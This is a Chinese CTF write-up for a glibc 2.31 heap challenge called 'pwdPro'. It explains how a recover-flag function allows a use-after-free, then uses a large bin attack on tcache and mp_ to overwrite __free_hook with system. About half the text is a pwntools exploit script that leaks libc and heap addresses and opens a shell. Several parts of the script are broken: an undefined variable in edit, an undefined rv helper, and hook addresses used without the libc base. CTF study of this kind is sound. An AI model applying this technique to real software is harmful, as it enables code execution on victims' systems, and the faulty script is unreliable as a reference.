保护显然是全开。libc给的是2.31
看看比free的多了点啥
具体去看看。
这是菜单。
add
fgets那里的问题显然已经没了,size改的比较大,看起来只能申请到large bin那样的大小。
edit
编辑确实是无限编辑。
也不会再有溢出那种东西了。
show
也有输出了。
free
free也是正常清理。没有清理指针,只是清理了标志位。
多了一个叫recover的函数
可以让标志位再恢复。
那么我们就可以double free啊等等,
但是呢显然我们能申请到的chunk都很大,所以这道题说白了就是2.31下的large bin attack。
先说说2.31下large bin attack多了些什么保护。
在glibc 2.30里,我们看到,第二个分支里确实封堵了以前的利用手法,但是在第一个分支里,仍然可以实现large bin attack,但是该分支利用起来,只是完成往任意地址写一个堆地址的作用。
那么我们其实还是可以有很多中利用手法。
首先是最基本的large bin attack。
我们首先说large bin attack有两种攻击方式,利用的分别是chunk插入的时候,跟申请的时候。
在申请largebin的过程中,伪造largebin的bk_nextsize,实现非预期内存申请。
在largebin插入的过程中,伪造largebin的bk_nextsize以及bk,实现任意地址写堆地址。
我们一般见到的都是在插入的过程中,始先任意地址写堆地址。
我们上面看到,从2.30开始,把我们平常用到的插入时后加了个保护,但是显然加入的保护只是把我们的第二个分支摁掉了,我们显然还有第一个分支,只不过我们只能在任意一个地方写一个堆地址,那么我们可以去攻击mp_结构体。
这个结构体在libc里面。
那我们利用下面这段代码攻击
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
在这里我们的bck就是已经在large bin中的那个chunk。
我们可以改large bin chunk的bk_nestsize指向的chunk的fd_nextsize为victim。
然后我就通过计算,把那个tcache_bins改成一个chunk的值。
我就可以再计算,把chunk里合适的位置,bins的地方改成free_hook,然后申请出来,写成system,就好啦。
exp
#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
context.log_level = "debug"
r = process("./pwdPro")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9.2_amd64/libc.so.6")
def add(index,id, size, content = 'a\n'):
r.sendlineafter("Input Your Choice:\n", "1")
r.sendlineafter("Which PwdBox You Want Add:\n", str(index))
r.sendlineafter("Input The ID You Want Save:", id)
r.sendlineafter("Length Of Your Pwd:", str(size))
r.sendafter("Your Pwd:", content)
def dele(index):
r.sendlineafter("Input Your Choice:\n", "4")
r.sendlineafter("Idx you want 2 Delete:", str(index))
def edit(idx,content):
r.sendlineafter("Input Your Choice:\n", "2")
r.sendline(str(index))
r.send(content)
def show(index):
r.sendlineafter("Input Your Choice:\n", "3")
r.sendlineafter("Idx you want 2 Delete:", str(index))
def re(index):
r.sendlineafter("Choice:\n", "5")
r.sendlineafter("Recover:", str(index))
add(0, "a", 0x450)
r.recvuntil("ID:")
r.recv(8)
key = u64(r.recv(8))
add(1, "a", 0x420)
dele(0)
re(0)
show(0)
r.recvuntil("Pwd is: ")
malloc_hook = ((u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) ^ key) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
print "libc_base = " + hex(libc_base)
gdb.attach(r)
add(0, "a", 0x450)
add(2, "a", 0x440)
add(3, "a", 0x420)
dele(0)
add(4, "a", 0x600)
dele(2)
re(0)
show(0)
r.recvuntil("Pwd is: ")
r.recv(0x10)
heap_addr = u64(rv(8))^key
print(hex(heap_addr))
edit(0, p64(libc_base + 0x1ec010)*2+p64(heap_addr)+p64(libc_base+0x1eb2d8-0x20-4)+'\n')
add(10, "a", 0x600)
add(11, "a", 0x800, p64(u64("/bin/sh\x00")^key)+"\n")
dele(10)
edit(0, "a"*0xe8+p64(libc.sym['__free_hook']))
add(12, "a", 0x600, p64(libc.sym['system']^key)+'\n')
dele(11)
r.interactive()
uaf写large bin chunk的时候我们只要好好改bk_nextsize就行。
剩下的主要是保持原样不变,否则会被其他地方卡住。
当然还有没有其他利用手法,其实还很多。
可以有
house of husk
house of banana
house of pig
百度即可。